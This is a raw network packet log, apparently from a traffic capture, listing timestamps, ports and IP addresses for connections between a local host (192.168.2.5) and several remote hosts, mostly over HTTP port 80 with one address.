Oct 29, 2024 20:35:23.742499113 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.742511034 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.742511034 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.742526054 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.742696047 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.742707968 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.742718935 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.742731094 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.742748022 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.742755890 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.742755890 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.742760897 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.742770910 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.742779016 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.742784023 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.742794991 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.742805958 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.742816925 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.742826939 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.742837906 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.742841959 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.742842913 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.742849112 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.742858887 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.742860079 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.742871046 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.742881060 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.742891073 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.742902040 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.742907047 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.742912054 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.742923975 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.742933989 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.742959976 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.742959976 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.743005037 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.743038893 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.743051052 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.743062019 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.743072033 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.743083000 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.743094921 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.743103027 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.743103027 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.743112087 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.743119001 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.743124008 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.743134975 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.743144989 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.743158102 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.743168116 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.743168116 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.743169069 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.743180990 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.743200064 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.743208885 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.743221045 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.743231058 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.743247986 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.743256092 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.743256092 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.743259907 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.743271112 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.743283033 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.743308067 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.743308067 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.743335009 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.743978024 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.744029999 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.744040966 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.744052887 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.744066954 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.744066954 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.744113922 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.744139910 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.744151115 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.744160891 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.744174004 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.744185925 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.744198084 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.744198084 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.744198084 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.744210005 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.744255066 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.744255066 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.744263887 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.744273901 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.744283915 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.744317055 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.744322062 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.744322062 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.744328976 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.744338989 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.744349957 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.744360924 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.744390011 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.744390011 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.744407892 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.744465113 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.744482040 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.744493008 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.744504929 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.744515896 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.744528055 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.744539022 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.744541883 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.744554043 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.744554043 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.744563103 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.744566917 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.744584084 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.744596004 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.744600058 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.744612932 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.744623899 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.744635105 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.744645119 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.744656086 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.744656086 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.744663000 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.744674921 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.744684935 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.744702101 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.744702101 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.744703054 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.744715929 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.744725943 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.744738102 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.744749069 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.744757891 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.744759083 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.744759083 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.744775057 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.744784117 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.744786978 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.744796991 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.744807959 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.744817972 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.744822979 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.744822979 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.744828939 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.744839907 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.744852066 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.744868040 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.744868040 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.744868040 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.744879007 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.744891882 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.744935036 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.745007992 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.745017052 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.745023012 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.745028973 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.745034933 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.745040894 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.745101929 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.745135069 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.745135069 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.745157957 CET	443	49945	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:23.745186090 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.745197058 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.745332003 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.745387077 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.745460033 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.745465040 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.745492935 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.745534897 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.745626926 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.745650053 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.745835066 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.752779007 CET	49945	443	192.168.2.5	13.107.246.57
Oct 29, 2024 20:35:23.752801895 CET	443	49945	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:23.753282070 CET	443	49945	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:23.754053116 CET	49945	443	192.168.2.5	13.107.246.57
Oct 29, 2024 20:35:23.754143000 CET	443	49945	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:23.754364014 CET	49945	443	192.168.2.5	13.107.246.57
Oct 29, 2024 20:35:23.793860912 CET	443	49947	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:23.795264959 CET	49947	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:23.795296907 CET	443	49947	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:23.795754910 CET	49947	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:23.795762062 CET	443	49947	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:23.799324989 CET	443	49945	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:23.816843987 CET	443	49928	20.190.159.2	192.168.2.5
Oct 29, 2024 20:35:23.816875935 CET	443	49928	20.190.159.2	192.168.2.5
Oct 29, 2024 20:35:23.816919088 CET	443	49928	20.190.159.2	192.168.2.5
Oct 29, 2024 20:35:23.816960096 CET	49928	443	192.168.2.5	20.190.159.2
Oct 29, 2024 20:35:23.816977024 CET	443	49928	20.190.159.2	192.168.2.5
Oct 29, 2024 20:35:23.817013025 CET	49928	443	192.168.2.5	20.190.159.2
Oct 29, 2024 20:35:23.817430019 CET	49928	443	192.168.2.5	20.190.159.2
Oct 29, 2024 20:35:23.817442894 CET	443	49928	20.190.159.2	192.168.2.5
Oct 29, 2024 20:35:23.817460060 CET	49928	443	192.168.2.5	20.190.159.2
Oct 29, 2024 20:35:23.817590952 CET	443	49928	20.190.159.2	192.168.2.5
Oct 29, 2024 20:35:23.817600012 CET	443	49928	20.190.159.2	192.168.2.5
Oct 29, 2024 20:35:23.817655087 CET	49928	443	192.168.2.5	20.190.159.2
Oct 29, 2024 20:35:23.819019079 CET	443	49948	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:23.819648027 CET	49948	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:23.819665909 CET	443	49948	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:23.820252895 CET	49948	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:23.820260048 CET	443	49948	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:23.856421947 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.856462955 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.856477022 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.856487989 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.856498957 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.856508970 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.856522083 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.856523991 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.856523991 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.856560946 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.856583118 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.856583118 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.856594086 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.856599092 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.856604099 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.856611013 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.856642962 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.856669903 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.857161045 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.857175112 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.857184887 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.857196093 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.857208014 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.857218981 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.857239962 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.857270956 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.857424021 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.857436895 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.857446909 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.857458115 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.857462883 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.857474089 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.857475996 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.857475996 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.857510090 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.857542992 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.857567072 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.857578993 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.857589006 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.857599974 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.857611895 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.857624054 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.857635021 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.857635021 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.857635021 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.857640982 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.857650995 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.857661009 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.857672930 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.857681990 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.857681990 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.857686043 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.857701063 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.857722998 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.857728958 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.857728958 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.857733011 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.857744932 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.857757092 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.857768059 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.857772112 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.857780933 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.857798100 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.857798100 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.857800007 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.857811928 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.857821941 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.857841969 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.857846975 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.857847929 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.857852936 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.857863903 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.857873917 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.857877970 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.857886076 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.857891083 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.857937098 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.857937098 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.858186960 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.858217955 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.858228922 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.858283997 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.858298063 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.858309031 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.858319998 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.858331919 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.858366013 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.858366013 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.858436108 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.858473063 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.858484983 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.858494997 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.858505964 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.858516932 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.858529091 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.858540058 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.858546019 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.858546019 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.858551979 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.858565092 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.858573914 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.858599901 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.858602047 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.858612061 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.858613968 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.858623028 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.858633995 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.858644009 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.858655930 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.858656883 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.858656883 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.858666897 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.858678102 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.858688116 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.858697891 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.858700991 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.858700991 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.858732939 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.858732939 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.858743906 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.858752012 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.858756065 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.858795881 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.858795881 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.858804941 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.858817101 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.858828068 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.858844995 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.858856916 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.858916044 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.858926058 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.858937979 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.858947992 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.858964920 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.858975887 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.858978987 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.858978987 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.858988047 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.858998060 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.859013081 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.859018087 CET	80	49863	185.215.113.206	192.168.2.5
